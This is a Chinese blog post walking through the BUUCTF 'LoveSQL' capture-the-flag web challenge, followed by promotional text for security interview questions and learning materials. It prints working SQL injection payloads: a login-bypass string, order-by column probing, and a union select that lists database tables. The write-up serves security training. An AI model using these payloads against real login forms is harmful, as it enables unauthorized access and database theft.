BUUCTF Web [极客大挑战 2024]LoveSQL_buuctf lovesql

「作者主页」：士别三日wyx
  此文章已录入专栏《网络攻防》，持续更新热门靶场的通关教程
「未知攻，焉知收」，在一个个孤独的夜晚，你完成了几百个攻防实验，回过头来才发现，已经击败了百分之九十九的同期选手。

一、题目简介

进入题目连接是一个「登录」界面

登录「成功」会显示当前用户的账号和密码

登录「失败」则会则会提示错误的用户名和密码

二、思路分析

这一关是「SQL注入」漏洞，注入点为单引号字符型注入，推荐使用「联合注入」

看到登录功能，第一反应就是SQL注入，先尝一下「万能账号」，依次尝试各种类型的万能账号。点击链接查看《万能账号密码使用详解》

单引号字符型的万能账号登录「成功」

页面有「显示位」，推荐使用联合注入，这一关没有过滤，判断字段数以后直接脱库即可

三、解题步骤

1）判断注入点

使用万能账号判断「注入点」，payload如下

• 账号输入a' or true -- a
• 密码随便输入 111

2）判断字段数

使用 order by 排序判断显示位的「字段数」

• 账号依次输入
  a’ or true order by 1 – a
  a’ or true order by 2 – a
  a’ or true order by 3 – a
  a’ or true order by 4 – a
• 密码随便输入 111

排序到 4 时报错，说明字段数为 3

3）获取所有表

CFT有个不成文的「规矩」，SQL注入漏洞中，flag通常会放在当前使用的数据库中。我们直接获取当前数据库的表即可

• 用户名输入以下payload

a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

• 密码随便输入 111

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：